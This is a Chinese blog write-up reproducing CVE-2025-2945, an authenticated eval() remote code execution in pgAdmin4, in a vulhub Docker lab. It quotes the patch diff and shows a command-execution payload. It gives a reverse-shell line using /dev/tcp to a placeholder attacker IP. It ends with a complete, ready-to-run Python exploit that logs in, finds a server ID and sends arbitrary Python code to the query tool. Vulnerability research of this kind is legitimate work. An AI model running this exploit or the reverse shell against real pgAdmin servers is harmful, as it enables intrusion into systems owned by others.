pgAdmin4 认证后远程代码执行(CVE-2025-2945)漏洞复现
开源的快乐 😎 就是源码随手可得 📂
终于能复现 CVE 🤓 不是靠猜想和反编译 🔍
以前遇到闭源 😩 源码被锁匠般藏起 🔐
现在一打开就是明文函数 🧾 心里好爽 🥰
复现过程像解谜 🧩 每一步都扎实又踏实 👏
要爆了💥💥💥 成功复现!漏洞再现!!!🤯
开源安全研究 🎶 自由、透明、可复现 ✨
漏洞描述
pgAdmin是针对PostgreSQL数据库的查询客户端,其支持server模式部署。
在受影响版本中,由于Query Tool及Cloud Deployment功能实现中直接通过eval()解析传入参数,导致存在任意代码执行漏洞。
此漏洞为以已完成身份验证后为前提条件的RCE
解决建议
“将组件 pgadmin4 升级至 9.2 及以上版本”
漏洞复现
漏洞分析
先看看源码,搬过来了修过的代码: 地址
在这个路径下:web/pgadmin/tools/sqleditor/__init__.py
@pga_login_required
def start_query_download_tool(trans_id):
(status, error_msg, sync_conn, trans_obj,
session_obj) = check_transaction_status(trans_id)
if not status or sync_conn is None or trans_obj is None or \
session_obj is None:
return internal_server_error(
errormsg=TRANSACTION_STATUS_CHECK_FAILED
)
data = request.values if request.values else request.get_json(silent=True)
if data is None:
return make_json_response(
status=410,
success=0,
errormsg=gettext(
"Could not find the required parameter (query)."
)
)
try:
sql = None
query_commited = data.get('query_commited', False)
# Iterate through CombinedMultiDict to find query.
for key, value in data.items():
if key == 'query':
sql = value
if key == 'query_commited':
query_commited = (
- eval(value) if isinstance(value, str) else value # 这里的eval 是漏洞点,已经被删除了
+ value.lower() in ('true', '1') if isinstance( ## 新增了这两行
+ value, str) else value
)
if not sql:
sql = trans_obj.get_sql(sync_conn)
if sql and query_commited:
# Re-execute the query to ensure the latest data is included
sync_conn.execute_async(sql)
# This returns generator of records.
status, gen, conn_obj = \
sync_conn.execute_on_server_as_csv(records=10)
if not status:
return make_json_response(
data={
'status': status, 'result': gen
}
)
我们看到,首先这里使用@pga_login_required做了登录验证,然后从请求中获取数据,sql获取查询语句,query_commited本来期望获取一个布尔型数据用来判断是否在下载前重新执行查询,以保证数据时效性。
但这里直接使用了eval() 且完全没有过滤,导致可以直接控制query_commited传入恶意语句从而命令执行。
同样的在这里
def _create_google_postgresql_instance(self, args):
credentials = self._get_credentials(self._scopes)
service = discovery.build('sqladmin', 'v1beta4',
credentials=credentials)
- high_availability = \
- 'REGIONAL' if eval(args.high_availability) else 'ZONAL' # 这里
+
+ _high_availability = args.high_availability.lower() in (
+ 'true', '1') if isinstance(args.high_availability, str
+ ) else args.high_availability
+
+ high_availability = 'REGIONAL' if _high_availability else 'ZONAL'
db_password = self._database_password \
if self._database_password is not None else args.db_password
ip = args.public_ip if args.public_ip else '{}/32'.format(get_my_ip())
authorized_networks = self.get_authorized_network_list(ip)
database_instance_body = {
'databaseVersion': args.db_version,
'instanceType': 'CLOUD_SQL_INSTANCE',
'project': args.project,
'name': args.name,
'region': args.region,
'gceZone': args.availability_zone,
'secondaryGceZone': args.secondary_availability_zone,
"rootPassword": db_password,
'settings': {
'tier': args.instance_type,
'availabilityType': high_availability,
'dataDiskType': args.storage_type,
'dataDiskSizeGb': args.storage_size,
'ipConfiguration': {
"authorizedNetworks": authorized_networks,
'ipv4Enabled': True
},
}
}
也出现了未经校验的eval() ,这里同样是期待传入布尔值,用于判断是否启用high_availability但是未经校验导致可以传入恶意语句进行RCE
复现
看到了一个很有用的CVE复现工具vulhub ,里面收集了很多CVE,可以直接使用docker compose进行本地部署复现,非常方便
在kali里面启一个pgadmin4
┌──(kali㉿kali)-[~]
└─$ cd vulhub
┌──(kali㉿kali)-[~/vulhub]
└─$ ls
1panel bash discuz fastjson gogs java kkfileview minio openfire postgres scrapy thinkphp yapi
activemq cacti django ffmpeg gradio jboss langflow mojarra opensmtpd python shiro tikiwiki zabbix
adminer celery dns flask grafana jenkins laravel mongo-express openssh rails showdoc tomcat
airflow cgi docker flink h2database jetty librsvg mysql openssl README.md skywalking unomi
aj-report cmsms drupal geoserver hadoop jimureport libssh nacos opentsdb README.zh-cn.md solr uwsgi
apache-cxf coldfusion dubbo ghostscript hertzbeat jira LICENSE neo4j pdfjs redis spark v2board
apache-druid confluence ecshop git httpd jmeter liferay-portal next.js pgadmin rocketchat spring vite
apereo-cas contributors.md elasticsearch gitea hugegraph joomla log4j nexus php rocketmq struts2 weblogic
apisix contributors.zh-cn.md electron gitlab imagemagick jumpserver magento nginx phpmailer rsync superset webmin
appweb couchdb elfinder gitlist influxdb jupyter metabase node phpmyadmin ruby supervisor wordpress
aria2 craftcms environments.toml glassfish ingress-nginx kafka metersphere ntopng phpunit saltstack teamcity xstream
base cups-browsed erlang goahead jackson kibana mini_httpd ofbiz polkit samba tests xxl-job
┌──(kali㉿kali)-[~/vulhub]
└─$ cd pgadmin
┌──(kali㉿kali)-[~/vulhub/pgadmin]
└─$ ls
CVE-2022-4223 CVE-2023-5002 CVE-2025-2945
┌──(kali㉿kali)-[~/vulhub/pgadmin]
└─$ cd CVE-2025-2945
┌──(kali㉿kali)-[~/vulhub/pgadmin/CVE-2025-2945]
└─$ ls
1.png docker-compose.yml exp.py README.md README.zh-cn.md
┌──(kali㉿kali)-[~/vulhub/pgadmin/CVE-2025-2945]
└─$ sudo docker-compose up -d
[sudo] kali 的密码:
[+] Running 20/20
✔ web Pulled 105.3s
✔ ce1261c6d567 Pull complete 12.4s
✔ 7a1f3f33da57 Pull complete 12.5s
✔ 251e9d4b1ce9 Pull complete 13.0s
✔ 162926a937ce Pull complete 13.0s
✔ 2cc27ca26634 Pull complete 92.4s
✔ e8124a63a8bc Pull complete 92.4s
✔ 33297183fcda Pull complete 92.4s
✔ afecadf008dc Pull complete 92.4s
✔ pgsql Pulled 59.4s
✔ 2d35ebdb57d9 Pull complete 7.8s
✔ 82e3b18698cd Pull complete 7.8s
✔ 1d12e864e19a Pull complete 9.3s
✔ 10c02ef94427 Pull complete 9.7s
✔ ac28590ba464 Pull complete 39.5s
✔ 11e80b5eea53 Pull complete 39.5s
✔ a5bd5a0b8636 Pull complete 39.5s
✔ aabce23918dc Pull complete 39.5s
✔ 3cecdd37f6f2 Pull complete 39.5s
✔ 5b6f078adbb9 Pull complete 39.5s
[+] Running 3/3
✔ Network cve-2025-2945_default Created 0.1s
✔ Container cve-2025-2945-web-1 Started 0.3s
✔ Container cve-2025-2945-pgsql-1 Started 0.3s
┌──(kali㉿kali)-[~/vulhub/pgadmin/CVE-2025-2945]
└─$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
d4b8121370ce vulhub/pgadmin:9.1 "pgadmin4" 27 minutes ago Up 27 minutes 0.0.0.0:5050->5050/tcp, :::5050->5050/tcp cve-2025-2945-web-1
8129daffef4d postgres:17-alpine "docker-entrypoint.s…" 27 minutes ago Up 27 minutes 5432/tcp cve-2025-2945-pgsql-1
┌──(kali㉿kali)-[~/vulhub/pgadmin/CVE-2025-2945]
└─$ ifconfig
br-4833c158bebe: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.18.0.1 netmask 255.255.0.0 broadcast 172.18.255.255
inet6 fe80::42:9fff:fe05:52a1 prefixlen 64 scopeid 0x20<link>
ether 02:42:9f:05:52:a1 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:45:05:b9:97 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 2 overruns 0 carrier 0 collisions 0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.142.129 netmask 255.255.255.0 broadcast 192.168.142.255
inet6 fe80::20c:29ff:fe64:8a0 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:64:08:a0 txqueuelen 1000 (Ethernet)
RX packets 484317 bytes 713860613 (680.7 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 29970 bytes 1947550 (1.8 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 480 (480.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 8 bytes 480 (480.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
veth2aa17be: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::ce3:a6ff:fe3b:2528 prefixlen 64 scopeid 0x20<link>
ether 0e:e3:a6:3b:25:28 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 20 bytes 1656 (1.6 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
vethf8d97e1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::d87c:cfff:fe06:d4b0 prefixlen 64 scopeid 0x20<link>
ether da:7c:cf:06:d4:b0 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 20 bytes 1656 (1.6 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
拿到IP和端口号之后访问,看到一个登录界面,使用网上的exp
python CVE-2025-2946.py --target-url http://192.168.142.129:5050 --username vulhub@example.com --password vulhub --db-user vulhub --db-pass vulhub --db-name vulhub --payload "__import__('os').system('ls > hack.txt')"
[+] Successfully authenticated to pgAdmin
[+] Found valid server ID: 1
[+] Exploiting the target...
[+] Received expected 500 response: {"success":0,"errormsg":"Error: not enough values to unpack (expected 3, got 2)","info":"","result":null,"data":null}
可以看到出现了hack.txt,说明已经拿到权限了
┌──(kali㉿kali)-[~/vulhub/pgadmin/CVE-2025-2945]
└─$ docker-compose exec web ls
bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
┌──(kali㉿kali)-[~/vulhub/pgadmin/CVE-2025-2945]
└─$ docker-compose exec web ls
bin boot dev etc hack.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
直接__import__('subprocess').run(['bash','-c','bash -i >& /dev/tcp/攻击者IP/端口 0>&1']) 可以反弹shell
exp:
#!/usr/bin/env python3
import re
from random import randint
from urllib.parse import urljoin
import requests
def get_csrf_token(session: requests.Session, target_url: str) -> str | None:
login_resp = session.get(urljoin(target_url, '/login'), allow_redirects=False)
if login_resp.status_code == 200:
if m := re.search(
r'<input name="csrf_token"( hidden="")? value="([\w+.-]+)">', login_resp.text
):
return m.group(2)
if m := re.search(r'"csrfToken": "([\w+.-]+)"', login_resp.text):
return m.group(1)
else:
js_resp = session.get(urljoin(target_url, '/browser/js/utils.js'))
if m := re.search(r"pgAdmin\['csrf_token'\]\s*=\s*'([^']+)'", js_resp.text):
return m.group(1)
if m := re.search(r'"csrfToken": "([\w+.-]+)"', js_resp.text):
return m.group(1)
print("[!] Failed to retrieve CSRF token")
return
def exploit(
target_url: str,
username: str,
password: str,
db_name: str,
db_user: str,
db_pass: str,
payload: str,
max_server_id: int = 10
) -> bool:
"""
pgAdmin4 query tool authenticated RCE (CVE-2025-2945) exp.
:return: True if the exploit attempt is (or believed to be) successful,
otherwise False.
"""
session = requests.Session()
# Login
csrf_token = get_csrf_token(session, target_url)
if csrf_token is None:
return False
resp = session.post(
urljoin(target_url, 'authenticate/login'),
data={
"csrf_token": csrf_token,
"email": username,
"password": password,
"language": "en",
"internal_button": "login"
},
allow_redirects=False,
)
if not resp.ok or resp.headers.get('Location', '').endswith('/login'):
print("[!] Failed to authenticate to pgAdmin")
return False
print("[+] Successfully authenticated to pgAdmin")
# Refresh CSRF token
csrf_token = get_csrf_token(session, target_url)
if csrf_token is None:
return False
session.headers.update({"X-pgA-CSRFToken": csrf_token})
# Find a valid server ID
sgid = randint(1, 10)
sid = None
for i in range(1, max_server_id + 1):
resp = session.get(
urljoin(target_url, f'/sqleditor/get_server_connection/{sgid}/{i}'),
headers={"Content-Type": "application/x-www-form-urlencoded"}
)
if resp.status_code == 200:
if resp.json().get('data', {}).get('status') is True:
print("[+] Found valid server ID:", i)
sid = i
break
else:
print(f"[!] Received {resp.status_code} when trying to find server ID")
print("[!] Received body:", resp.text)
return False
if sid is None:
print("[!] Failed to find a valid server ID, try increasing MAX_SERVER_ID")
return False
# Initialize sqleditor
trans_id = randint(1_000_000, 9_999_999)
did = randint(10000, 99999)
resp = session.post(
urljoin(target_url, f"/sqleditor/initialize/sqleditor/{trans_id}/{sgid}/{sid}/{did}"),
json={
"user": db_user,
"password": db_pass,
"role": "",
"dbname": db_name,
}
)
if not resp.ok:
print("[!] Failed to initialize sqleditor")
return False
# Send the payload
print("[+] Exploiting the target...")
resp = session.post(
urljoin(target_url, f"/sqleditor/query_tool/download/{trans_id}"),
json={"query_commited": payload},
headers={
"Referer": urljoin(target_url, f"/sqleditor/panel/{trans_id}?is_query_tool=true")
}
)
if resp.status_code == 500:
print("[+] Received expected 500 response:", resp.text)
return True
else:
print(
"[!] Received unexpected response code from the exploit attempt:",
resp.status_code, resp.text
)
return False
if __name__ == '__main__':
import argparse
import sys
parser = argparse.ArgumentParser(description="pgAdmin4 query tool authenticated RCE (CVE-2025-2945) exp")
parser.add_argument(
"--target-url", required=True, help="Base URL of the target pgAdmin4 instance (http://RHOST:RPORT/)"
)
parser.add_argument("--username", help="pgAdmin4 username", required=True)
parser.add_argument("--password", help="pgAdmin4 password", required=True)
parser.add_argument(
"--db-user", help="Username of the database used to initialize sqleditor", required=True
)
parser.add_argument("--db-pass", help="Database password", required=True)
parser.add_argument("--db-name", help="Database db name", required=True)
parser.add_argument("--payload", help="Payload (Python code)", required=True)
parser.add_argument("--max-server-id", type=int, default=10, help="Maximum number of Server IDs to try")
ns = parser.parse_args()
sys.exit(int(not exploit(ns.target_url, ns.username, ns.password, ns.db_name, ns.db_user, ns.db_pass, ns.payload, ns.max_server_id)))